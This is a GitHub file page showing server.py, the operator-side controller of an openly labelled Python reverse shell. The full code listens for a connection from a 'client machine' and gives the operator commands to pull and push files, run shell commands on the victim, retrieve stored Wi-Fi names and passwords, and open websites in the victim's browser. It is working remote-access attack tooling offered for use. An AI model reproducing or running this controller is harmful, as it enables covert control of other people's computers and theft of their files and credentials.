forked from 5l1v3r1/python-reverse-shell
-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathserver.py
More file actions
200 lines (192 loc) · 6.64 KB
/
server.py
File metadata and controls
200 lines (192 loc) · 6.64 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
#!/usr/bin/python
# -*- coding: utf-8 -*-
##############################
# **python reverse shell**
# coded by: oseid Aldary
##############################
#Server_File
import socket,struct,sys,os;from datetime import datetime
try: input = raw_input
except NameError: input = input
class senrev:
def __init__(self,sock):
self.sock = sock
def send(self, data):
pkt = struct.pack('>I', len(data)) + data
self.sock.sendall(pkt)
def recv(self):
pktlen = self.recvall(4)
if not pktlen: return ""
pktlen = struct.unpack('>I', pktlen)[0]
return self.recvall(pktlen)
def recvall(self, n):
packet = b''
while len(packet) < n:
frame = self.sock.recv(n - len(packet))
if not frame:return None
packet += frame
return packet
def help():
print("""
Commands Desscription
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
:help Show this help message
:download Download file from client machine
:upload Upload file to client machine
:kill Kill the connection with client machine
:exec Run external command
:check Check if client machine is connected to internet
:wifi Show Client machine wifi info [names,passwod,etc]
:browse Open an website on client machine browser
pwd Print working directory in client machine
cd - Switch back to previous directory in client machine
cd -- Switch back to first directory when connection was established with client machine
""")
def download(filee):
cmd = filee
filee = "".join(filee.split(":download")).strip()
if filee.strip():
filetodown = filee.split("/")[-1] if "/" in filee else filee.split("\\")[-1] if "\\" in filee else filee
controler.send(cmd.encode("UTF-8"))
down = controler.recv().decode("UTF-8",'ignore')
if down == "true":
print("[~] Downloading [ {} ]...".format(filetodown))
wf = open(filetodown, "wb")
while True:
data = controler.recv()
if data == b":DONE:": break
elif data == b":Aborted:":
wf.close()
os.remove(filetodown)
print("[!] Downloading Has Aborted By Client!")
return
wf.write(data)
wf.close()
print("[*] Download Complete :)\n[*] file Saved In : {}\n".format(os.getcwd()+os.sep+filetodown))
else: print(down)
else: print("Usage: :download <file_to_download_from_client_machine>\n")
def upload(cmd):
filetoup = "".join(cmd.split(":upload")).strip()
if not filetoup.strip(): print("usage: :upload <file_to_upload>\n")
else:
if not os.path.isfile(filetoup): print("error: open: no such file: "+filetoup+"\n")
else:
controler.send(cmd.encode("UTF-8"))
print("[~] Uploading [ {} ]...".format(filetoup))
with open(filetoup,"rb") as wf:
for data in iter(lambda: wf.read(4100), b""):
try:controler.send(data)
except(KeyboardInterrupt,EOFError):
wf.close()
controler.send(b":Aborted:")
print("[!] Uploading Has Been Aborted By User!\n")
return
controler.send(b":DONE:")
savedpath = controler.recv().decode("UTF-8")
print("[*] Upload Complete :)\n[*] File uploaded in : "+str(savedpath).strip()+" in client machine\n")
def check_con():
print("[~] Checking....")
controler.send(b":check_internet_connection")
status = controler.recv().decode("UTF-8").strip()
if status == "UP": print("[*] client: Connected to internet !\n")
else: print("[!] client: Not Connected to internet !\n")
def browse(cmd):
url = "".join(cmd.split(":browse")).strip()
if not url.strip(): print("Usage: :browse <Websute_URL>\n")
else:
if not url.startswith(("http://","https://")): url = "http://"+url
print("[~] Opening [ {} ]...".format(url))
controler.send(":browse {}".format(url).encode("UTF-8"))
print("[*] Done \n")
def control():
try:
cmd = str(input("[{}]:~# ".format(a[0])))
while not cmd.strip(): cmd = str(input("[{}]:~# ".format(a[0])))
if cmd == ":help":
help()
control()
elif ":download" in cmd:
download(cmd)
control()
elif ":upload" in cmd:
upload(cmd)
control()
elif cmd ==":kill":
print("[!] Connection has been killed!")
controler.send(b":kill")
c.shutdown(2)
c.close()
s.close()
exit(1)
elif ":exec" in cmd:
cmd = "".join(cmd.split(":exec")).strip()
if not cmd.strip(): print("Usage: :exec <command>\n")
else:
print("[*] exec:")
os.system(cmd)
print(" ")
control()
elif cmd == ":check":
check_con()
control()
elif cmd == ":wifi":
print("[*] Geting Wifi profiles info...")
controler.send(b":wifi")
info = controler.recv()
try:
info = info.decode("UTF-8","ignore")
except UnicodeEncodeError: info = info
finally:
if info==":osnot:": print("[!] Sorry, i can't found wifi info of client machine!\n")
else:
print("[*] INFO:\n")
print(info + "\n")
control()
elif ":browse" in cmd:
browse(cmd)
control()
elif cmd.lower() == "cls" or cmd == "clear":
os.system("cls||clear")
control()
controler.send(cmd.encode("UTF-8"))
DATA = controler.recv()
if DATA.strip(): print(DATA.decode("UTF-8",'ignore'))
control()
except (KeyboardInterrupt, EOFError):
print(" ")
control()
except socket.error:
print("[!] Connection Lost to: "+a[0]+" !")
c.close()
s.close()
exit(1)
except UnicodeEncodeError:
print(DATA)
print(" ")
control()
except Exception as e:
print("[!] An error occurred: "+str(e)+"\n")
control()
def server(IP,PORT,senrev=senrev):
global s
global c
global a
global controler
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind((IP,PORT))
s.listen(1)
print("[*] Server started on > {}:{} < | at [{}]".format(IP,PORT,datetime.now().strftime("%H:%M:%S")))
try:
c,a = s.accept()
controler = senrev(c)
print("\n[*] Connection From {}:{}".format(a[0],a[1]))
print("[*] type ':help' to show help message\n")
control()
except (KeyboardInterrupt,EOFError):
print(" ")
exit(1)
if len(sys.argv) !=3:
print("Usage: python server.py <IP> <PORT>")
exit(1)
server(sys.argv[1],int(sys.argv[2]))